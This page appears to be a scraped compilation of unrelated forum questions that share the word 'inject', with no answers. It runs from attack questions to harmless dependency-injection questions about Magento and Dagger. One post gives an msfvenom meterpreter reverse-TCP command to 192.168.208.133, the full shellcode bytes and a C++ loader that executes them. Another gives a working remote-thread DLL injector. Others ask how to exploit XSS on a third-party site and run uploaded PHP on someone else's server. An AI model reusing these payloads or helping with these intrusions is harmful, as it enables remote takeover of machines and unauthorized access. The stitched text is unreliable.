Can’t inject meterpreter shellcode in c++ code

I want to inject meterpreter shellcode in a c++ program .

When i create .exe file in msfvenom i try it in my virtual machine (windows 7) and it works well but when i create shellcode and inject it in a c++ file the programe compile succesfully but crashes when i launche it in my VM

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.208.133 LPORT=4444 -f c -o main2.txt 

here i my c++ code (compiled in x64 debug mode with microsoft visual studio):

#include <iostream> #include <Windows.h> int main() { char shell[] =      "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"     "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"     "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"     "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"     "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"     "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"     "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"     "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"     "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"     "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"     "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"     "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"     "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"     "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"     "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"     "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"     "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xd0\x85\x41\x54\x49\x89\xe4"     "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"     "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"     "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"     "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"     "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"     "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"     "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"     "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"     "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"     "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"     "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"     "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"     "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"     "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"     "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"     "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"     "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";  void* exec = VirtualAlloc(0, sizeof shell, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shell, sizeof shell); ((void(*)())exec)();  return 0;  } 

here is the error:

the application was unable du start correctly : c000007b 

What is my mistake ? thanks for answers !

How to inject a good XSS payload in a vulnerable site

please i need help here. I discovered a shady ponzi site with XSS vulnerability issues. The vulnerability is located in the registration page, all user input field is vulnerable, which consist of – email field, phone number field and password field.

Please guys, what good XSS payload can i use to exploit this vulnerability and how do i go about it.

Thanks alot.

Index Inject API Error

I’m not sure if this is a GSA bug or an Index Inject bug, however, I have one project running in one instance of GSA and it sent all my verified links over to Index Inject like I told it to.  That’s good thing.

The bad thing is that it did it over and over gain, 4800 links per until it used the entire 150K link quota I have over there.

DLL injector in C doesn’t inject the DLL

I am trying to write a DLL injector to perform a DLL injector on a calculator process.

I wrote the DLL injector program in C and the DLL but the injector doesn’t inject the DLL or any other DLL (I tried to take some random windows DLL that the calculator doesn’t use).

#include <Windows.h> #include <stdio.h>  int main() {     // The DLL path we want to inject and the target process id.     char* dllpath = "C:\Users\......\Dll1.dll";     int processID = 5844;      printf("#### Starting ####\n");      // Open target process handle         HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);     if (hProcess == NULL) {         printf("[!] Unable to find the target process id: %d\n" , processID);         return 1;     }     printf("[+] Open target process handle\n");      // Getting targt memory address for the dll path     LPVOID dllpathMemoryAddr = VirtualAllocEx(hProcess, NULL, strlen(dllpath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);     if (dllpathMemoryAddr == NULL) {         printf("[!] Unable to get memory address of target process for the dllpath");         return 1;     }     printf("[+] Allocate the memory address to store the dllpath\n");      // Writing the dll path to the target memory address     BOOL succeedWrite = WriteProcessMemory(hProcess, dllpathMemoryAddr, dllpath, strlen(dllpath), NULL);     if (!succeedWrite) {         printf("[!] Unable to write to the memory address of target process the dllpath\n");         return 1;     }     printf("[+] Writed the dllpath to memory\n");      // Getting LoadLibreryA address     FARPROC loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");     if (loadLibAddr == NULL) {         printf("[!] Unable to get the memory address of LoadLibraryA function\n");         return 1;     }     printf("[+] Allocate the memory address to LoadLibraryA function\n");      // Create remote thread on the remote process to load the dll     HANDLE rThread = CreateRemoteThread(hProcess, NULL, strlen(dllpath), (LPTHREAD_START_ROUTINE)loadLibAddr, dllpathMemoryAddr, NULL, NULL);     if (rThread == NULL) {         printf("[!] Unable to create thread to execute the LoadLibraryA function\n the error: %u\n", GetLastError());         return 1;     }     printf("#### DLL INJECTED ####\n");       return 0; } 

after running the injector I get this output:

#### Starting #### [+] Open target process handle [+] Allocate the memory address to store the dllpath [+] Writed the dllpath to memory [+] Allocate the memory address to LoadLibraryA function #### DLL INJECTED #### 

after that, I am still unable to see in process explorer the new DLL.

How can I inject real php code into this website?

So I found a file uploader on example.com. The file uploader accepts every file extension and the file is uploaded inside the directory

/temp/random-numeric-id.php

I tried to upload a php file and it got uploaded, however when I access that file, the content of the file is read as html comment. For example, I uploaded a file with content <?php print(123); ?> and when I visit example.com/temp/111111111.php I see a blank page because my php code has became the following:

<!--?php print(123); -->

Is this some kind of protection mechanism? How can I bypass this to execute my print functionality with php on that server?

How to properly inject PriceResolverInterface to my module class

I am trying to inject via the constructor a \Magento\ConfigurableProduct\Pricing\Price\PriceResolverInterface

So that I can properly resolve configurable product prices, however whenever I add it, dependency injection fails unlike other classes.

e.g.

    public function __construct(         ProductRepositoryInterface $  productRepository,         CategoryRepositoryInterface $  categoryRepository,         LoggerInterface $  logger,         SearchCriteriaBuilderFactory $  searchCriteriaBuilderFactory,         CollectionFactory $  collectionFactory,         Product $  productModel,         Data $  helper,         \Magento\Framework\Filesystem\DirectoryList $  directoryList,         StoreManagerInterface $  storeManager,         \Magento\ConfigurableProduct\Model\Product\Type\Configurable $  configurableType,         State $  state,         PriceResolverInterface $  configurableRegularPrice     ) 

yields

PHP Fatal error:  Uncaught Error: Cannot instantiate interface Magento\ConfigurableProduct\Pricing\Price\PriceResolverInterface in /private/magento/2x/default/httpdocs/vendor/magento/framework/ObjectManager/Factory/Dynamic/Developer.php:50 Stack trace: #0 /private/magento/2x/default/httpdocs/vendor/magento/framework/ObjectManager/ObjectManager.php(70): Magento\Framework\ObjectManager\Factory\Dynamic\Developer->create('Magento\Configu...') #1 /private/magento/2x/default/httpdocs/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php(160): Magento\Framework\ObjectManager\ObjectManager->get('Magento\Configu...') #2 /private/magento/2x/default/httpdocs/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php(246): Magento\Framework\ObjectManager\Factory\AbstractFactory->resolveArgument(Array, 'Magento\Configu...', NULL, 'configurableReg...', 'Vendor\Module...') #3 /private/magento/2x/default/httpdocs/vendor/magento/framework/ObjectManager/Factory/Dynamic/Developer.php(34): Magento\Framework\ObjectManage in /private/magento/2x/default/httpdocs/vendor/magento/framework/ObjectManager/Factory/Dynamic/Developer.php on line 50 

I’ve tried injecting various different stuff from configurableproduct module and it keeps failing.

other things I’ve tried

\Magento\ConfigurableProduct\Pricing\Price\RegularPriceResolver

\Magento\ConfigurableProduct\Pricing\Price\FinalPriceResolver

Could someone explain to me why those classes won’t work with the normal constructor dependency injection system and what I need to do to get them to work?

THanks in advance

How to use Dagger to inject DialogFragment into Activity?

I have many DialogFragment and fragment in my project. I want to know what is the best practice to use Dagger and inject for example DialogFragment into activity.

public class AddMemberDialog extends DialogFragment { @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {     return inflater.inflate(R.layout.dialog_add_member, container, false); } 

}

and in activity :

  binding.imageButton2.setOnClickListener(view -> {         AddMemberDialog memberDialog = new AddMemberDialog();         memberDialog.show(getSupportFragmentManager(), "adMember");     });